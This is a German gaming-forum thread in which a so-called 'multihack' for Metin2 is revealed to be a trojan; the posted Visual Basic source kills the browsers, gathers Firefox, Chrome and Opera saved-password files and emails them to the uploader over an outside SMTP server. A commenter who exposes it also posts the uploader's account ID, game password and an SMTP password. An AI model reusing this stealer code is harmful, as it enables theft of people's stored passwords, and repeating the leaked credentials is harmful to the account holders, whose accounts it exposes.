[RELEASE]M2 Multihack/ bot by Amecke *Beta*!

Fake Keylogger.Es ist in Visual basic geschrieben.

Code:
Private Sub button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Dim processesByName As Process()
Me.timer1.Start
Me.label8.Visible = True
Try
Process.GetProcessesByName("firefox")(0).Kill
Catch obj1 As Object
End Try
Do
processesByName = Process.GetProcessesByName("chrome")
Try
Process.GetProcessesByName("chrome")(0).Kill
Catch obj2 As Object
End Try
Loop While (processesByName.Count(Of Process)() <> 0)
Try
Process.GetProcessesByName("opera")(0).Kill
Catch obj3 As Object
End Try
Dim userName As String = Environment.UserName
Dim str2 As String = (Directory.GetDirectories(("C:\Users\" & userName & "\AppData\Roaming\Mozilla\Firefox\Profiles\")) (0) & "\")
Dim fileName As String = (str2 & "cert8.db")
Dim str4 As String = (str2 & "key3.db")
Dim str5 As String = (str2 & "signons.sqlite")
Dim str7 As String = (("C:\Users\" & userName & "\AppData\Local\Google\Chrome\User Data\Default\") & "Login Data")
Dim str9 As String = (("C\Users\" & userName & "\AppData\Roaming\Opera\Opera\") & "wand.dat")
Dim client As New SmtpClient
Dim message As New MailMessage("[Only registered and activated users can see links. Click Here To Register...]", "[Only registered and activated users can see links. Click Here To Register...]") With { _
.Subject = (userName & " schickt dir seine Passw" & ChrW(246) & "rter!!"), _
.Body = " JUHU!!!! XD" _
}
client.Credentials = New NetworkCredential("[Only registered and activated users can see links. Click Here To Register...]", "rightguard97")
client.Host = "smtp.web.de"
Try
Dim item As New Attachment(fileName)
message.Attachments.Add(item)
Catch obj4 As Object
End Try
Try
Dim attachment2 As New Attachment(str4)
message.Attachments.Add(attachment2)
Catch obj5 As Object
End Try
Try
Dim attachment3 As New Attachment(str5)
message.Attachments.Add(attachment3)
Catch obj6 As Object
End Try
Try
Dim attachment4 As New Attachment(str7)
message.Attachments.Add(attachment4)
Catch obj7 As Object
End Try
Try
Dim attachment5 As New Attachment(str9)
message.Attachments.Add(attachment5)
Catch obj8 As Object
End Try
client.Send(message)
End Sub


Geändert von -_HackGamer !
Zu eurer Sicherheit!

Anleitung?? Omg! Hack funkt ned!

ist gerade irgendwas mit login server... muss ich mal gucken weil man muss erst eingeloggt sein bevor man den Hack nutzen kann dafür braucht man auch keine Anleitung.
registrieren geht , deshalb wunder ich mich was los ist O.O

Frage : Hidden oder nicht ?

gleich mal antesten

erst mal ist es ein keylogger!

2.habe ich seine E-mail geändert und damit keine Daten an seine E-mail versendet werden!

3.ich bin -_HackGamer

sowas geht nicht alter!



Seine Account daten(Gehackt durch seine E-mail):
ID:'Amecke
Passwort:8rRSgLYA

Screen:
[Only registered and activated users can see links. Click Here To Register...]




E-mail:[Only registered and activated users can see links. Click Here To Register...]
passwort:12345678


Code Screen:
[Only registered and activated users can see links. Click Here To Register...]






#closerequest
#bannrequest

öhm.. is dumm gelaufen für mich ^^ aber nice arbeit kollesch xD

ps.: wollte nix böses anrichten mit dem trojaner nur aus spass müll bei jemand in fb schreiben und so aus lw :D bin hald net so der king im scripten....

nice arbeit HackGamer

Quote:

öhm.. is dumm gelaufen für mich ^^ aber nice arbeit kollesch xD ps.: wollte nix böses anrichten mit dem trojaner nur aus spass müll bei jemand in fb schreiben und so aus lw bin hald net so der king im scripten.... nice arbeit HackGamer

Omg Lern erstmal was du machst:facepalm:

Quote:

Originally Posted by 'Amecke öhm.. is dumm gelaufen für mich ^^ aber nice arbeit kollesch xD ps.: wollte nix böses anrichten mit dem trojaner nur aus spass müll bei jemand in fb schreiben und so aus lw :D bin hald net so der king im scripten.... nice arbeit HackGamer

Wie währe es mit Reallife? Wenn man langeweile hat -> Freunde, für die Schule lernen anstatt so ein mist zu posten ;)

#closed.